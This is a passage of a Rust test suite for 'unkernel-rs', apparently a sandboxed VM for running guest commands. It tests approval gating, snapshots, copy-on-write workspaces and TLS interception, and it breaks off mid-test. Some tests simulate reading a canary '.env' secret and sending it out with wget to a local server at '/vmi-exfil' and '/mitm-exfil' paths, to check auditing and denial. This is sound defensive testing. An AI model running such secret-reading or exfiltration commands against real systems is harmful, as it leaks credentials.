    std::thread::sleep(Duration::from_millis(50));
    assert!(vm.pause(), "expected VM to transition to paused");
    assert!(vm.is_paused());
    std::thread::sleep(Duration::from_millis(450));
    assert!(
        !done.load(Ordering::SeqCst),
        "guest command must stay frozen while VM is paused"
    );

    let paused_ms = vm.resume().expect("expected resume to return paused_ms");
    assert!(!vm.is_paused());
    assert!(
        paused_ms >= 350,
        "expected paused_ms >= 350, got {paused_ms}"
    );

    let res = handle.join().expect("join exec");
    let wall_elapsed = t0.elapsed();
    assert_eq!(res.exit_code, Some(0));
    let up_after: f64 = res
        .stdout_lossy()
        .trim()
        .parse()
        .expect("parse uptime after");
    let guest_delta = up_after - up_before;

    assert!(
        wall_elapsed >= Duration::from_millis(600),
        "wall time should include sleep + pause: {:?}",
        wall_elapsed
    );
    assert!(
        guest_delta < 0.50,
        "guest monotonic uptime should have stayed frozen during 450ms pause (delta={guest_delta:.3}s, wall={:?})",
        wall_elapsed
    );

    vm.shutdown();
}

#[test]
fn cli_serve_concurrent_approval_and_pause() {
    let bin = env!("CARGO_BIN_EXE_unkernel-rs");
    let workspace = TempDir::new().expect("workspace");
    std::fs::write(workspace.path().join(".env"), "TOP_SECRET=shai_hulud_123\n").unwrap();

    let mut child = Command::new(bin)
        .args([
            "serve",
            "--offline",
            "--sandbox",
            "--audit",
            "--ask-sensitive",
            "--ask-fs-write",
            "--freeze-on-ask",
            "--mount",
            &format!("{}:/workspace:rw", workspace.path().display()),
        ])
        .stdin(Stdio::piped())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn unkernel-rs serve");

    let mut stdin = child.stdin.take().unwrap();
    let stdout = child.stdout.take().unwrap();
    let mut reader = BufReader::new(stdout);

    // 1. Ready handshake
    let mut line = String::new();
    reader.read_line(&mut line).expect("read ready");
    let ready: serde_json::Value = serde_json::from_str(&line).expect("parse ready JSON");
    assert_eq!(ready["ready"], true);
    assert_eq!(ready["monitor"]["ask_sensitive"], true);
    assert_eq!(ready["monitor"]["ask_fs_write"], true);
    assert_eq!(ready["monitor"]["freeze_on_ask"], true);

    // 2. Explicit pause + resume over NDJSON
    writeln!(stdin, "{{\"id\":\"p1\",\"pause\":true}}").unwrap();
    stdin.flush().unwrap();
    let mut saw_pause_resp = false;
    while !saw_pause_resp {
        line.clear();
        reader.read_line(&mut line).expect("read pause");
        let v: serde_json::Value = serde_json::from_str(&line).unwrap();
        if v["id"] == "p1" {
            assert_eq!(v["ok"], true);
            assert_eq!(v["paused"], true);
            saw_pause_resp = true;
        }
    }

    writeln!(stdin, "{{\"id\":\"p2\",\"resume\":true}}").unwrap();
    stdin.flush().unwrap();
    let mut saw_resume_resp = false;
    while !saw_resume_resp {
        line.clear();
        reader.read_line(&mut line).expect("read resume");
        let v: serde_json::Value = serde_json::from_str(&line).unwrap();
        if v["id"] == "p2" {
            assert_eq!(v["ok"], true);
            assert_eq!(v["paused"], false);
            saw_resume_resp = true;
        }
    }

    // 3. Submit command that tries to read .env (we will DENY) and write ok.txt (we will ALLOW)
    writeln!(
        stdin,
        "{{\"id\":1,\"cmd\":\"cat /workspace/.env 2>&1; echo ENV_RC=$?; echo ok > /workspace/ok.txt && cat /workspace/ok.txt\"}}"
    )
    .unwrap();
    stdin.flush().unwrap();

    let mut saw_vm_paused = false;
    let mut saw_vm_resumed = false;
    let mut approvals_handled = 0usize;
    let exec_resp: serde_json::Value = loop {
        line.clear();
        let n = reader.read_line(&mut line).expect("read stream");
        assert!(n > 0, "serve stdout closed unexpectedly");
        let v: serde_json::Value = serde_json::from_str(&line).expect("parse NDJSON");
        if let Some(ev) = v["event"].as_str() {
            match ev {
                "vm.paused" => saw_vm_paused = true,
                "vm.resumed" => saw_vm_resumed = true,
                "approval.required" => {
                    let aid = v["approval_id"].as_u64().expect("approval_id");
                    let target = v["target"].as_str().unwrap_or("");
                    let decision = if target.ends_with("/.env") {
                        "deny_once"
                    } else {
                        "allow_once"
                    };
                    approvals_handled += 1;
                    writeln!(
                        stdin,
                        "{{\"id\":\"approve-{aid}\",\"approve\":{aid},\"decision\":\"{decision}\"}}"
                    )
                    .unwrap();
                    stdin.flush().unwrap();
                }
                _ => {}
            }
        } else if v["id"] == 1 {
            break v;
        }
    };

    assert!(saw_vm_paused, "expected vm.paused event");
    assert!(saw_vm_resumed, "expected vm.resumed event");
    assert_eq!(approvals_handled, 2, "expected 2 interactive approvals");
    let out = exec_resp["stdout"].as_str().unwrap_or("");
    assert!(
        !out.contains("shai_hulud_123"),
        ".env secret must not leak: {out}"
    );
    assert!(!out.contains("ENV_RC=0"), ".env read should fail: {out}");
    assert!(out.contains("ok\n"), "allowed write should succeed: {out}");
    assert_eq!(
        std::fs::read_to_string(workspace.path().join("ok.txt")).unwrap(),
        "ok\n"
    );

    // 4. Clean shutdown
    writeln!(stdin, "{{\"shutdown\":true}}").unwrap();
    stdin.flush().unwrap();
    let status = child.wait().expect("wait child");
    assert!(status.success());
}

#[test]
fn vmi_level3_process_monitoring_and_frozen_inspection() {
    let dir = TempDir::new().expect("tempdir");
    let workspace = dir.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(workspace.join(".env"), "API_KEY=vmi_canary_123\n").unwrap();

    let events: Arc<Mutex<Vec<AuditEvent>>> = Arc::new(Mutex::new(Vec::new()));
    let events_cb = events.clone();

    let mut cfg = test_vm_config();
    cfg.mounts.push(MountSpec {
        host_path: workspace,
        guest_path: "/workspace".into(),
        read_only: true,
        copy_on_write: false,
    });
    cfg.monitor = MonitorConfig {
        audit_callback: Some(Arc::new(move |ev| {
            events_cb.lock().unwrap().push(ev);
        })),
        audit_file: None,
        audit_enabled: true,
        ask_net: false,
        ask_fs_write: false,
        ask_sensitive_read: false,
        freeze_on_ask: false,
        approval_callback: None,
    };

    let vm = Arc::new(Vm::boot(cfg).expect("boot VM with VMI"));
    let offsets = vm
        .vmi_offsets()
        .expect("VMI should auto-calibrate Linux task_struct offsets from SharedMemory at boot");
    assert!(offsets.comm_off > 0);
    assert!(offsets.pid_off > 0);
    assert_eq!(offsets.tgid_off, offsets.pid_off + 4);

    // 1. Trigger a 9P sensitive read with `cat` and verify process attribution + proc.exec
    let r = vm
        .exec(&ExecOptions::shell("cat /workspace/.env"))
        .expect("cat .env");
    assert_eq!(r.exit_code, Some(0));
    assert!(r.stdout_lossy().contains("vmi_canary_123"));

    // 2. Start a longer-lived guest process, freeze the ENTIRE VM, and inspect processes WHILE FROZEN
    let vm_bg = vm.clone();
    let bg = std::thread::spawn(move || {
        vm_bg
            .exec(&ExecOptions::shell("sleep 0.6"))
            .expect("sleep exec")
    });
    std::thread::sleep(Duration::from_millis(120));
    assert!(vm.pause(), "pause VM");
    assert!(vm.is_paused());

    let frozen_procs = vm.active_processes();
    assert!(
        frozen_procs.iter().any(|p| p.comm == "kthreadd"),
        "expected kthreadd in frozen VMI table: {frozen_procs:?}"
    );
    assert!(
        frozen_procs.iter().any(|p| p.comm == "sleep"),
        "expected running `sleep` process in frozen VMI table without unfreezing: {frozen_procs:?}"
    );

    vm.resume();
    let bg_res = bg.join().expect("join sleep");
    assert_eq!(bg_res.exit_code, Some(0));
    vm.shutdown();

    let evs = events.lock().unwrap();
    assert!(
        evs.iter().any(
            |e| matches!(e, AuditEvent::ProcExec { comm, pid, .. } if comm == "cat" && *pid > 0)
        ),
        "expected proc.exec for cat in VMI audit events"
    );
    assert!(
        evs.iter().any(|e| matches!(
            e,
            AuditEvent::FsOp { path, proc: Some(p), .. }
            if path == "/workspace/.env" && p.comm == "cat" && p.pid > 0
        )),
        "expected FsOp for /workspace/.env attributed to guest process `cat`: {:?}",
        evs.iter()
            .filter(|e| matches!(e, AuditEvent::FsOp { .. }))
            .collect::<Vec<_>>()
    );
}

#[test]
fn cow_workspace_diff_discard_and_commit() {
    let dir = TempDir::new().expect("tempdir");
    let workspace = dir.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(workspace.join("keep.txt"), "original-keep\n").unwrap();
    std::fs::write(workspace.join("edit.txt"), "v1\n").unwrap();
    std::fs::write(workspace.join("remove.txt"), "delete-me\n").unwrap();

    let mut cfg = test_vm_config();
    cfg.mounts.push(MountSpec {
        host_path: workspace.clone(),
        guest_path: "/workspace".into(),
        read_only: false,
        copy_on_write: true,
    });

    let vm = Vm::boot(cfg).expect("boot VM with :cow mount");

    // 1. Mutate files heavily inside guest (:cow overlay only)
    let r1 = vm
        .exec(&ExecOptions::shell(
            "printf 'v2-cow\\n' > /workspace/edit.txt && \
             printf 'brand-new\\n' > /workspace/new.txt && \
             rm /workspace/remove.txt && \
             mv /workspace/keep.txt /workspace/renamed.txt && \
             mkdir -p /workspace/sub && printf 'nested\\n' > /workspace/sub/deep.txt && \
             cat /workspace/edit.txt /workspace/new.txt /workspace/renamed.txt /workspace/sub/deep.txt",
        ))
        .expect("cow mutations");
    assert_eq!(r1.exit_code, Some(0), "stderr: {}", r1.stderr_lossy());
    assert_eq!(
        r1.stdout_lossy(),
        "v2-cow\nbrand-new\noriginal-keep\nnested\n"
    );

    // 2. Host directory must be 100% UNTOUCHED!
    assert_eq!(
        std::fs::read_to_string(workspace.join("keep.txt")).unwrap(),
        "original-keep\n"
    );
    assert_eq!(
        std::fs::read_to_string(workspace.join("edit.txt")).unwrap(),
        "v1\n"
    );
    assert!(workspace.join("remove.txt").exists());
    assert!(!workspace.join("new.txt").exists());
    assert!(!workspace.join("renamed.txt").exists());
    assert!(!workspace.join("sub").exists());

    // 3. Diff & staged file inspection from host
    let diff = vm.workspace_diff("/workspace").expect("cow diff");
    assert!(diff.created.contains(&"new.txt".to_string()), "{diff:?}");
    assert!(
        diff.created.contains(&"renamed.txt".to_string()),
        "{diff:?}"
    );
    assert!(
        diff.created.contains(&"sub/deep.txt".to_string()),
        "{diff:?}"
    );
    assert_eq!(diff.modified, vec!["edit.txt".to_string()]);
    assert!(diff.deleted.contains(&"remove.txt".to_string()), "{diff:?}");
    assert!(diff.deleted.contains(&"keep.txt".to_string()), "{diff:?}");
    assert_eq!(
        vm.read_workspace_file("/workspace", "edit.txt")
            .unwrap()
            .as_deref(),
        Some(b"v2-cow\n".as_slice())
    );

    // 4. Discard resets guest view cleanly back to unmodified host state
    vm.discard_workspace("/workspace").expect("discard cow");
    assert!(vm.workspace_diff("/workspace").unwrap().is_empty());
    let r_reset = vm
        .exec(&ExecOptions::shell(
            "cat /workspace/edit.txt /workspace/keep.txt /workspace/remove.txt && test ! -e /workspace/new.txt && echo DISCARD_OK",
        ))
        .expect("verify discard");
    assert_eq!(
        r_reset.exit_code,
        Some(0),
        "stderr: {}",
        r_reset.stderr_lossy()
    );
    assert_eq!(
        r_reset.stdout_lossy(),
        "v1\noriginal-keep\ndelete-me\nDISCARD_OK\n"
    );

    // 5. Re-mutate and COMMIT to host directory
    let r2 = vm
        .exec(&ExecOptions::shell(
            "printf 'committed-v3\\n' > /workspace/edit.txt && printf 'final\\n' > /workspace/committed.txt && rm /workspace/remove.txt",
        ))
        .expect("re-mutate before commit");
    assert_eq!(r2.exit_code, Some(0), "stderr: {}", r2.stderr_lossy());

    let applied = vm.commit_workspace("/workspace").expect("commit cow");
    assert_eq!(applied.created, vec!["committed.txt".to_string()]);
    assert_eq!(applied.modified, vec!["edit.txt".to_string()]);
    assert_eq!(applied.deleted, vec!["remove.txt".to_string()]);
    assert!(vm.workspace_diff("/workspace").unwrap().is_empty());

    assert_eq!(
        std::fs::read_to_string(workspace.join("edit.txt")).unwrap(),
        "committed-v3\n"
    );
    assert_eq!(
        std::fs::read_to_string(workspace.join("committed.txt")).unwrap(),
        "final\n"
    );
    assert!(!workspace.join("remove.txt").exists());
    assert!(workspace.join("keep.txt").exists());

    vm.shutdown();
}

#[test]
fn os_snapshot_and_counterfactual_branching() {
    let dir = TempDir::new().expect("tempdir");
    let disk_path = dir.path().join("base.ext4");
    let workspace = dir.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(workspace.join("host_orig.txt"), "host-seed\n").unwrap();
    std::fs::write(workspace.join(".env"), "SECRET=counterfactual_42\n").unwrap();

    // 1. Seed a clean base disk once so we can verify its SHA-256 never changes during snapshot + branching
    {
        let mut init_cfg = test_vm_config();
        init_cfg.data_disk = Some(disk_path.clone());
        let init_vm = Vm::boot(init_cfg).expect("seed base disk");
        init_vm.shutdown();
    }
    let disk_sha_before = unkernel_rs::cache::sha256_file(&disk_path).expect("hash base disk");

    // 2. Boot parent VM in full COW mode (ext4 --disk-snapshot + 9P :cow), write shared checkpoint state
    let mut cfg = test_vm_config();
    cfg.data_disk = Some(disk_path.clone());
    cfg.data_disk_snapshot = true;
    cfg.mounts.push(MountSpec {
        host_path: workspace.clone(),
        guest_path: "/workspace".into(),
        read_only: false,
        copy_on_write: true,
    });

    let parent = Vm::boot(cfg).expect("boot parent VM");
    let mut prep = ExecOptions::shell(
        "echo checkpoint-etc > /etc/base_marker && echo checkpoint-ws > /workspace/base.txt",
    );
    prep.user = Some("root".into());
    let prep_res = parent.exec(&prep).expect("write checkpoint state");
    assert_eq!(
        prep_res.exit_code,
        Some(0),
        "stderr: {}",
        prep_res.stderr_lossy()
    );

    // 3. Capture forkable Tier-A VmSnapshot (flushes guest ext4 page cache + clones COW blocks & 9P overlay)
    let snap = parent.snapshot().expect("capture VmSnapshot");
    assert!(
        snap.disk
            .as_ref()
            .expect("disk snapshot")
            .dirty_block_count()
            > 0,
        "expected dirty ext4 blocks in DiskSnapshot"
    );
    assert_eq!(snap.workspaces.len(), 1);
    parent.shutdown();

    // 4. Fork Branch A (ALLOWS sensitive .env reads) and Branch B (DENIES sensitive .env reads)
    let mon_allow = MonitorConfig {
        ask_sensitive_read: true,
        approval_callback: Some(Arc::new(|_| ApprovalDecision::AllowOnce)),
        ..MonitorConfig::default()
    };
    let mon_deny = MonitorConfig {
        ask_sensitive_read: true,
        approval_callback: Some(Arc::new(|_| ApprovalDecision::DenyOnce)),
        ..MonitorConfig::default()
    };

    let branch_a = snap
        .boot_branch(None, Some(mon_allow))
        .expect("boot Branch A");
    let branch_b = snap
        .boot_branch(None, Some(mon_deny))
        .expect("boot Branch B");

    // 5. Verify both branches inherit the exact checkpoint state, receive opposite security policies,
    //    and diverge completely independently on BOTH ext4 OS disk AND :cow workspace!
    let mut cmd_a = ExecOptions::shell(
        "cat /etc/base_marker && cat /workspace/base.txt && cat /workspace/.env && \
         echo only-a > /etc/branch_a && echo ws-a > /workspace/a.txt",
    );
    cmd_a.user = Some("root".into());
    let ra = branch_a.exec(&cmd_a).expect("exec Branch A");
    assert_eq!(ra.exit_code, Some(0), "stderr: {}", ra.stderr_lossy());
    assert!(ra.stdout_lossy().contains("checkpoint-etc"));
    assert!(ra.stdout_lossy().contains("checkpoint-ws"));
    assert!(ra.stdout_lossy().contains("SECRET=counterfactual_42"));

    let mut cmd_b = ExecOptions::shell(
        "cat /etc/base_marker && cat /workspace/base.txt && \
         (cat /workspace/.env 2>&1; echo ENV_RC=$?) && \
         test ! -e /etc/branch_a && test ! -e /workspace/a.txt && \
         echo only-b > /etc/branch_b && echo ws-b > /workspace/b.txt && echo BRANCH_B_ISOLATED",
    );
    cmd_b.user = Some("root".into());
    let rb = branch_b.exec(&cmd_b).expect("exec Branch B");
    assert_eq!(rb.exit_code, Some(0), "stderr: {}", rb.stderr_lossy());
    assert!(rb.stdout_lossy().contains("checkpoint-etc"));
    assert!(rb.stdout_lossy().contains("checkpoint-ws"));
    assert!(!rb.stdout_lossy().contains("SECRET=counterfactual_42"));
    assert!(!rb.stdout_lossy().contains("ENV_RC=0"));
    assert!(rb.stdout_lossy().contains("BRANCH_B_ISOLATED"));

    // Confirm Branch A still never saw Branch B's writes
    let verify_a = branch_a
        .exec(&ExecOptions::shell(
            "test ! -e /etc/branch_b && test ! -e /workspace/b.txt && cat /etc/branch_a && cat /workspace/a.txt",
        ))
        .expect("verify Branch A isolation");
    assert_eq!(verify_a.exit_code, Some(0));
    assert_eq!(verify_a.stdout_lossy(), "only-a\nws-a\n");

    let diff_a = branch_a.workspace_diff("/workspace").unwrap();
    let diff_b = branch_b.workspace_diff("/workspace").unwrap();
    assert!(diff_a.created.contains(&"a.txt".to_string()));
    assert!(!diff_a.created.contains(&"b.txt".to_string()));
    assert!(diff_b.created.contains(&"b.txt".to_string()));
    assert!(!diff_b.created.contains(&"a.txt".to_string()));

    branch_a.shutdown();
    branch_b.shutdown();

    // 6. Real host disk image and host workspace directory are 100% untouched!
    let disk_sha_after = unkernel_rs::cache::sha256_file(&disk_path).expect("hash base disk after");
    assert_eq!(
        disk_sha_before, disk_sha_after,
        "base ext4 disk must remain byte-for-byte untouched across snapshot + branching"
    );
    assert!(!workspace.join("base.txt").exists());
    assert!(!workspace.join("a.txt").exists());
    assert!(!workspace.join("b.txt").exists());
    assert_eq!(
        std::fs::read_to_string(workspace.join("host_orig.txt")).unwrap(),
        "host-seed\n"
    );
}

#[test]
fn cli_serve_vmi_cow_and_snapshot_restore() {
    let bin = env!("CARGO_BIN_EXE_unkernel-rs");
    let dir = TempDir::new().expect("tempdir");
    let workspace = dir.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(workspace.join("seed.txt"), "seed-v1\n").unwrap();

    let mut child = Command::new(bin)
        .args([
            "serve",
            "--offline",
            "--mount",
            &format!("{}:/workspace:cow", workspace.display()),
        ])
        .stdin(Stdio::piped())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn unkernel-rs serve");

    let mut stdin = child.stdin.take().unwrap();
    let stdout = child.stdout.take().unwrap();
    let mut reader = BufReader::new(stdout);

    let read_id =
        |reader: &mut BufReader<std::process::ChildStdout>, want_id: &str| -> serde_json::Value {
            let mut line = String::new();
            loop {
                line.clear();
                let n = reader.read_line(&mut line).expect("read line");
                assert!(n > 0, "serve stdout closed waiting for id={want_id}");
                let v: serde_json::Value = serde_json::from_str(&line).expect("parse JSON");
                if v["id"].as_str() == Some(want_id) {
                    return v;
                }
            }
        };

    // 1. Ready handshake includes vmi_calibrated: true
    let mut line = String::new();
    reader.read_line(&mut line).expect("read ready");
    let ready: serde_json::Value = serde_json::from_str(&line).expect("parse ready");
    assert_eq!(ready["ready"], true);
    assert_eq!(ready["vmi_calibrated"], true);

    // 2. Query live processes via VMI
    writeln!(stdin, "{{\"id\":\"procs1\",\"procs\":true}}").unwrap();
    stdin.flush().unwrap();
    let p = read_id(&mut reader, "procs1");
    assert_eq!(p["ok"], true);
    assert!(
        p["procs"]
            .as_array()
            .unwrap()
            .iter()
            .any(|x| x["comm"] == "kthreadd")
    );

    // 3. Write checkpoint file into :cow workspace, verify diff, take snapshot "cp1"
    writeln!(
        stdin,
        "{{\"id\":\"w1\",\"cmd\":\"printf 'cp1-val\\\\n' > /workspace/cp1.txt\"}}"
    )
    .unwrap();
    stdin.flush().unwrap();
    let w1 = read_id(&mut reader, "w1");
    assert_eq!(w1["exit_code"], 0);

    writeln!(stdin, "{{\"id\":\"d1\",\"diff\":\"/workspace\"}}").unwrap();
    stdin.flush().unwrap();
    let d1 = read_id(&mut reader, "d1");
    assert_eq!(d1["ok"], true);
    assert_eq!(d1["diff"]["created"], serde_json::json!(["cp1.txt"]));

    writeln!(stdin, "{{\"id\":\"s1\",\"snapshot\":\"cp1\"}}").unwrap();
    stdin.flush().unwrap();
    let s1 = read_id(&mut reader, "s1");
    assert_eq!(s1["ok"], true);
    assert_eq!(s1["cow_workspaces"], 1);

    // 4. Write ephemeral mutation AFTER snapshot, then restore "cp1"
    writeln!(
        stdin,
        "{{\"id\":\"w2\",\"cmd\":\"printf 'post-snap\\\\n' > /workspace/later.txt\"}}"
    )
    .unwrap();
    stdin.flush().unwrap();
    let w2 = read_id(&mut reader, "w2");
    assert_eq!(w2["exit_code"], 0);

    writeln!(stdin, "{{\"id\":\"r1\",\"restore\":\"cp1\"}}").unwrap();
    stdin.flush().unwrap();
    let r1 = read_id(&mut reader, "r1");
    assert_eq!(r1["ok"], true, "restore failed: {r1}");
    assert_eq!(r1["restored"], "cp1");
    assert_eq!(r1["vmi_calibrated"], true);

    // 5. Restored VM has cp1.txt AND seed.txt, but NOT later.txt, and host dir is still untouched!
    writeln!(
        stdin,
        "{{\"id\":\"chk\",\"cmd\":\"cat /workspace/seed.txt /workspace/cp1.txt && test ! -e /workspace/later.txt && echo RESTORED_OK\"}}"
    )
    .unwrap();
    stdin.flush().unwrap();
    let chk = read_id(&mut reader, "chk");
    assert_eq!(chk["exit_code"], 0, "chk failed: {chk}");
    assert_eq!(chk["stdout"], "seed-v1\ncp1-val\nRESTORED_OK\n");
    assert!(!workspace.join("cp1.txt").exists());
    assert!(!workspace.join("later.txt").exists());

    // 6. Clean shutdown
    writeln!(stdin, "{{\"shutdown\":true}}").unwrap();
    stdin.flush().unwrap();
    let status = child.wait().expect("wait child");
    assert!(status.success());
}

fn spawn_local_https_server(
    response_body: &'static str,
) -> (u16, Arc<AtomicBool>, std::thread::JoinHandle<()>) {
    use rcgen::{CertificateParams, KeyPair, SanType};
    use rustls::pki_types::{CertificateDer, PrivateKeyDer};
    use rustls::{ServerConfig, ServerConnection, StreamOwned};

    let key = KeyPair::generate_for(&rcgen::PKCS_ECDSA_P256_SHA256).expect("gen server key");
    let mut params = CertificateParams::default();
    params
        .subject_alt_names
        .push(SanType::IpAddress("10.0.2.2".parse().unwrap()));
    params
        .subject_alt_names
        .push(SanType::IpAddress("127.0.0.1".parse().unwrap()));
    let cert = params.self_signed(&key).expect("self-sign server cert");

    let provider = Arc::new(rustls::crypto::ring::default_provider());
    let mut srv_cfg = ServerConfig::builder_with_provider(provider)
        .with_safe_default_protocol_versions()
        .unwrap()
        .with_no_client_auth()
        .with_single_cert(
            vec![CertificateDer::from(cert.der().to_vec())],
            PrivateKeyDer::try_from(key.serialize_der()).unwrap(),
        )
        .expect("rustls ServerConfig");
    srv_cfg.alpn_protocols = vec![b"http/1.1".to_vec()];
    let srv_cfg = Arc::new(srv_cfg);

    let listener = TcpListener::bind("127.0.0.1:0").expect("bind local HTTPS server");
    let port = listener.local_addr().unwrap().port();
    listener.set_nonblocking(true).unwrap();

    let stop = Arc::new(AtomicBool::new(false));
    let stop_t = stop.clone();

    let handle = std::thread::spawn(move || {
        while !stop_t.load(Ordering::Relaxed) {
            match listener.accept() {
                Ok((tcp, _)) => {
                    let _ = tcp.set_nonblocking(false);
                    let _ = tcp.set_read_timeout(Some(Duration::from_secs(5)));
                    let _ = tcp.set_write_timeout(Some(Duration::from_secs(5)));
                    if let Ok(conn) = ServerConnection::new(srv_cfg.clone()) {
                        let mut tls = StreamOwned::new(conn, tcp);
                        let mut req = [0u8; 2048];
                        let _ = tls.read(&mut req);
                        let resp = format!(
                            "HTTP/1.1 200 OK\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}",
                            response_body.len(),
                            response_body
                        );
                        let _ = tls.write_all(resp.as_bytes());
                        let _ = tls.flush();
                    }
                }
                Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
                    std::thread::sleep(Duration::from_millis(10));
                }
                Err(_) => break,
            }
        }
    });

    (port, stop, handle)
}

#[test]
fn vmi_tls_decrypts_guest_https_from_shared_memory_and_writes_keylog() {
    let (port, stop_srv, srv_handle) = spawn_local_https_server("HTTPS_VMI_RESPONSE_42");
    let dir = TempDir::new().expect("tempdir");
    let keylog_path = dir.path().join("sslkeylog.txt");

    let events: Arc<Mutex<Vec<AuditEvent>>> = Arc::new(Mutex::new(Vec::new()));
    let events_cb = events.clone();

    let mut cfg = test_vm_config();
    cfg.net = NetConfig {
        enabled: true,
        allow_lan: true,
        vmi_tls: true,
        tls_keylog_file: Some(open_audit_file(&keylog_path).expect("open keylog")),
        ..NetConfig::default()
    };
    cfg.monitor = MonitorConfig {
        audit_callback: Some(Arc::new(move |ev| {
            events_cb.lock().unwrap().push(ev);
        })),
        audit_enabled: true,
        ..MonitorConfig::default()
    };

    let vm = Vm::boot(cfg).expect("boot VM with --vmi-tls");
    // Wait briefly for DHCP lease
    let _ = vm.exec(&ExecOptions::shell(
        "for i in 1 2 3 4 5 6 7 8 9 10; do ip addr show eth0 | grep -q 10.0.2.15 && break; sleep 0.1; done",
    ));

    // Guest makes a real OpenSSL 3.x TLS 1.3 HTTPS request (zero CA injection!)
    let r = vm
        .exec(&ExecOptions::shell(format!(
            "wget --no-check-certificate -q -T 5 -O - 'https://10.0.2.2:{port}/vmi-exfil?secret=canary_999'"
        )))
        .expect("guest https wget");
    assert_eq!(r.exit_code, Some(0), "stderr: {}", r.stderr_lossy());
    assert_eq!(r.stdout_lossy(), "HTTPS_VMI_RESPONSE_42");

    vm.shutdown();
    stop_srv.store(true, Ordering::Relaxed);
    let _ = srv_handle.join();

    let evs = events.lock().unwrap();
    let tls_events: Vec<&AuditEvent> = evs
        .iter()
        .filter(|e| matches!(e, AuditEvent::NetTlsDecrypted { .. }))
        .collect();

    assert!(
        tls_events.iter().any(|e| matches!(
            e,
            AuditEvent::NetTlsDecrypted { method, direction, preview, .. }
            if method == "vmi" && direction == "tx" && preview.contains("/vmi-exfil?secret=canary_999")
        )),
        "expected VMI-decrypted HTTPS TX request in audit events: {tls_events:?}"
    );
    assert!(
        tls_events.iter().any(|e| matches!(
            e,
            AuditEvent::NetTlsDecrypted { method, direction, preview, .. }
            if method == "vmi" && direction == "rx" && preview.contains("HTTPS_VMI_RESPONSE_42")
        )),
        "expected VMI-decrypted HTTPS RX response in audit events: {tls_events:?}"
    );
    assert!(
        evs.iter().any(|e| matches!(
            e,
            AuditEvent::NetHttp { method, path, .. }
            if method == "GET" && path == "/vmi-exfil?secret=canary_999"
        )),
        "expected NetHttp parsed from VMI-decrypted HTTPS TX"
    );

    let keylog = std::fs::read_to_string(&keylog_path).expect("read keylog");
    assert!(
        keylog.contains("CLIENT_TRAFFIC_SECRET_0 ") || keylog.contains("CLIENT_RANDOM "),
        "expected Wireshark SSLKEYLOGFILE client secret entry, got: {keylog:?}"
    );
}

#[test]
fn mitm_tls_proxy_decrypts_guest_https_with_ephemeral_ca() {
    let (port, stop_srv, srv_handle) = spawn_local_https_server("HTTPS_MITM_RESPONSE_77");

    let events: Arc<Mutex<Vec<AuditEvent>>> = Arc::new(Mutex::new(Vec::new()));
    let events_cb = events.clone();

    let mut cfg = test_vm_config();
    cfg.net = NetConfig {
        enabled: true,
        allow_lan: true,
        mitm_tls: true,
        mitm_insecure_upstream: true,
        ..NetConfig::default()
    };
    cfg.monitor = MonitorConfig {
        audit_callback: Some(Arc::new(move |ev| {
            events_cb.lock().unwrap().push(ev);
        })),
        audit_enabled: true,
        ..MonitorConfig::default()
    };

    let vm = Vm::boot(cfg).expect("boot VM with --mitm-tls");
    assert!(
        vm.mitm_ca_pem()
            .is_some_and(|p| p.contains("BEGIN CERTIFICATE")),
        "expected ephemeral MITM Root CA PEM"
    );

    let _ = vm.exec(&ExecOptions::shell(
        "for i in 1 2 3 4 5 6 7 8 9 10; do ip addr show eth0 | grep -q 10.0.2.15 && break; sleep 0.1; done",
    ));

    // NOTE: NO --no-check-certificate! Alpine's OpenSSL ssl_client validates our ephemeral MITM CA
    // + dynamically signed IP:10.0.2.2 leaf certificate!
    let r = vm
        .exec(&ExecOptions::shell(format!(
            "wget -q -T 5 -O - 'https://10.0.2.2:{port}/mitm-exfil?secret=mitm_777'"
        )))
        .expect("guest https wget via MITM");
    assert_eq!(r.exit_code, Some(0), "stderr: {}", r.stderr_lossy());
    assert_eq!(r.stdout_lossy(), "HTTPS_MITM_RESPONSE_77");

    vm.shutdown();
    stop_srv.store(true, Ordering::Relaxed);
    let _ = srv_handle.join();

    let evs = events.lock().unwrap();
    let tls_events: Vec<&AuditEvent> = evs
        .iter()
        .filter(|e| matches!(e, AuditEvent::NetTlsDecrypted { .. }))
        .collect();

    assert!(
        tls_events.iter().any(|e| matches!(
            e,
            AuditEvent::NetTlsDecrypted { method, direction, preview, .. }
            if method == "mitm" && direction == "tx" && preview.contains("/mitm-exfil?secret=mitm_777")
        )),
        "expected MITM-decrypted HTTPS TX request in audit events: {tls_events:?}"
    );
    assert!(
        tls_events.iter().any(|e| matches!(
            e,
            AuditEvent::NetTlsDecrypted { method, direction, preview, .. }
            if method == "mitm" && direction == "rx" && preview.contains("HTTPS_MITM_RESPONSE_77")
        )),
        "expected MITM-decrypted HTTPS RX response in audit events: {tls_events:?}"
    );
    assert!(
        evs.iter().any(|e| matches!(
            e,
            AuditEvent::NetHttp { method, path, .. }
            if method == "GET" && path == "/mitm-exfil?secret=mitm_777"
        )),
        "expected NetHttp parsed from MITM-decrypted HTTPS TX"
    );
}

#[test]
fn cli_mcp_stdio_exec_snapshot_branch_cow_and_inspect() {
    let bin = env!("CARGO_BIN_EXE_unkernel-rs");
    let dir = TempDir::new().expect("tempdir");
    let workspace = dir.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(workspace.join("seed.txt"), "seed\n").unwrap();

    let mut child = Command::new(bin)
        .args([
            "mcp",
            "--mount",
            &format!("{}:/work:cow", workspace.display()),
        ])
        .stdin(Stdio::piped())
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .spawn()
        .expect("spawn unkernel-rs mcp");

    let mut stdin = child.stdin.take().unwrap();
    let mut reader = BufReader::new(child.stdout.take().unwrap());

    let mut rpc = |req: serde_json::Value, expect_reply: bool| -> Option<serde_json::Value> {
        writeln!(stdin, "{req}").unwrap();
        stdin.flush().unwrap();
        if !expect_reply {
            return None;
        }
        let mut line = String::new();
        reader.read_line(&mut line).unwrap();
        Some(serde_json::from_str(&line).expect("valid JSON-RPC response"))
    };

